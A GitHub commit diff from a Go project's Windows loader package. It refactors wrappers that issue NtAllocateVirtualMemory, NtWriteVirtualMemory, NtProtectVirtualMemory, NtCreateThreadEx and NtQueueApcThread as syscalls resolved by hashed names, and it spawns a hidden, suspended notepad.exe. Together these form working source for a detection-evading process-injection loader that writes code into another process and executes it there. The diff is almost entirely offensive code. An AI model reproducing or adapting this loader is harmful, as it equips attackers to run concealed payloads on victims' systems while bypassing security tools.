Skip to content

Commit

Permalink
feat: add generics helpers for nt calls args
Browse files Browse the repository at this point in the history
  • Loading branch information
f1zm0 committed Apr 19, 2023
1 parent 27c53aa commit 0ef8b7b
Show file tree
Hide file tree
Showing 2 changed files with 116 additions and 98 deletions.
181 changes: 83 additions & 98 deletions internal/loader/apiwrappers.go
Expand Up @@ -2,152 +2,137 @@ package loader

import (
"errors"
"unsafe"

"golang.org/x/sys/windows"
)

const (
nullptr = uintptr(0)
)

func createSuspendedProcess() (*windows.ProcessInformation, error) {
var si windows.StartupInfo
var pi windows.ProcessInformation

pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
if err != nil {
return nil, err
}

if err = windows.CreateProcess(
nil,
pCmdStr,
nil,
nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi,
); err != nil {
return nil, err
}
return &pi, nil
}

func (l *loader) NtAllocateVirtualMemory(
func (l *Loader) NtAllocateVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
allocType, protectAttr uintptr,
) (uintptr, error) {
ssn := l.resolver.GetSyscallSSN(-8110667262648832052)
if ssn == -1 {
return nullptr, errors.New("could not resolve -8110667262648832052")
}
if _, err := Syscall(
uint16(ssn),
hProc,
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(nil)),
uintptr(unsafe.Pointer(&memSize)),
allocType,
protectAttr,
if err := l.callProxy.Syscall(
15141956341870172521,
hProc, // ProcessHandle
ptr2ptr(&baseAddr), // BaseAddress
nullptr, // ZeroBits
ptr2ptr(&memSize), // RegionSize
allocType, // AllocationType
protectAttr, // Protect
); err != nil {
return nullptr, err
}

return baseAddr, nil
}

func (l *loader) NtWriteVirtualMemory(
func (l *Loader) NtWriteVirtualMemory(
hProc, baseAddr uintptr,
buf []byte,
numBytesToWrite int,
) (uintptr, error) {
ssn := l.resolver.GetSyscallSSN(-8604883203860988910)
if ssn == -1 {
return nullptr, errors.New("could not resolve -8604883203860988910")
}
if _, err := Syscall(
uint16(ssn),
hProc,
uintptr(unsafe.Pointer(baseAddr)),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(numBytesToWrite),
0,
numOfBytesWritten := 0
if err := l.callProxy.Syscall(
11082677680923502116,
hProc, // ProcessHandle
baseAddr, // BaseAddress
ptr2ptr(&buf[0]), // Buffer
ptr(numBytesToWrite), // NumberOfBytesToWrite
ptr2ptr(&numOfBytesWritten), // NumberOfBytesWritten
); err != nil {
return nullptr, err
}
if numOfBytesWritten != numBytesToWrite {
return nullptr, errors.New(
"number of bytes written is not equal to number of bytes to write",
)
}

return nullptr, nil
}

func (l *loader) NtProtectVirtualMemory(
func (l *Loader) NtProtectVirtualMemory(
hProc, baseAddr uintptr,
memSize int,
newProtect uintptr,
oldProtect uintptr,
) (uintptr, error) {
ssn := l.resolver.GetSyscallSSN(8609481851873969992)
if ssn == -1 {
return nullptr, errors.New("could not resolve 8609481851873969992")
}
if _, err := Syscall(
uint16(ssn),
hProc,
uintptr(unsafe.Pointer(&baseAddr)),
uintptr(unsafe.Pointer(&memSize)),
newProtect,
uintptr(unsafe.Pointer(&oldProtect)),
if err := l.callProxy.Syscall(
8024050266839726481,
hProc, // ProcessHandle
ptr2ptr(&baseAddr), // BaseAddress
ptr2ptr(&memSize), // RegionSize
newProtect, // NewProtect
ptr2ptr(&oldProtect), // OldProtect
); err != nil {
return nullptr, err
}

return oldProtect, nil
}

func (l *loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
ssn := l.resolver.GetSyscallSSN(-8677770082300808784)
if ssn == -1 {
return nullptr, errors.New("could not resolve -8677770082300808784")
}
if _, err := Syscall(
uint16(ssn),
uintptr(unsafe.Pointer(&hThread)), // ThreadHandle
windows.GENERIC_EXECUTE, // DesiredAccess
0, // ObjectAttributes
hProc, // ProcessHandle
baseAddr, // StartRoutine
0, // Argument
uintptr(0), // CreateFlags
0, // ZeroBits
0, // StackSize
0, // MaxStackSize
0, // AttributeList
func (l *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
if err := l.callProxy.Syscall(
12013194309262373545,
ptr2ptr(&hThread), // ThreadHandle
windows.GENERIC_EXECUTE, // DesiredAccess
nullptr, // ObjectAttributes
hProc, // ProcessHandle
baseAddr, // StartRoutine
nullptr, // Argument
0, // CreateFlags
0, // ZeroBits
0, // StackSize
0, // MaxStackSize
nullptr, // AttributeList
); err != nil {
return nullptr, err
}

return hThread, nil
}

func (l *loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
ssn := l.resolver.GetSyscallSSN(-7842467120007854408)
if ssn == -1 {
return nullptr, errors.New("could not resolve -7842467120007854408")
}
if _, err := Syscall(
uint16(ssn),
hThread, // ThreadHandle
baseAddr, // ApcRoutine
uintptr(0), // ApcRoutineContext (optional)
0, // ApcStatusBlock (optional)
0, // ApcReserved (optional)
func (l *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
if err := l.callProxy.Syscall(
14616308599774217599,
hThread, // ThreadHandle
baseAddr, // ApcRoutine
nullptr, // ApcRoutineContext (optional)
nullptr, // ApcStatusBlock (optional)
nullptr, // ApcReserved (optional)
); err != nil {
return nullptr, err
}

return nullptr, nil
}

func (l *Loader) createSuspendedProcess() (*windows.ProcessInformation, error) {
var (
pi windows.ProcessInformation
si windows.StartupInfo
)

pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") // bad
if err != nil {
return nil, err
}

// might swap out for NtCreateUserProcess and syscall when I get the time
// to figure out how to setup all the required structs
if err = windows.CreateProcess(
nil,
pCmdStr,
nil,
nil,
false,
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi,
); err != nil {
return nil, err
}
return &pi, nil
}
33 changes: 33 additions & 0 deletions internal/loader/ptr.go
@@ -0,0 +1,33 @@
package loader

import (
"unsafe"

"golang.org/x/sys/windows"
)

const (
nullptr = uintptr(0)
)

type ToPtr interface {
int | uint | uint32 | uint16 | uint8 | uintptr
}

type WinTypesPtr interface {
windows.Handle |
windows.SecurityAttributes |
windows.StartupInfo |
windows.ProcessInformation
}

func ptr[T ToPtr](v T) uintptr {
return uintptr(v)
}

func ptr2ptr[T ToPtr | WinTypesPtr](v *T) uintptr {
if v == nil {
return nullptr
}
return uintptr(unsafe.Pointer(v))
}

0 comments on commit 0ef8b7b

Please sign in to comment.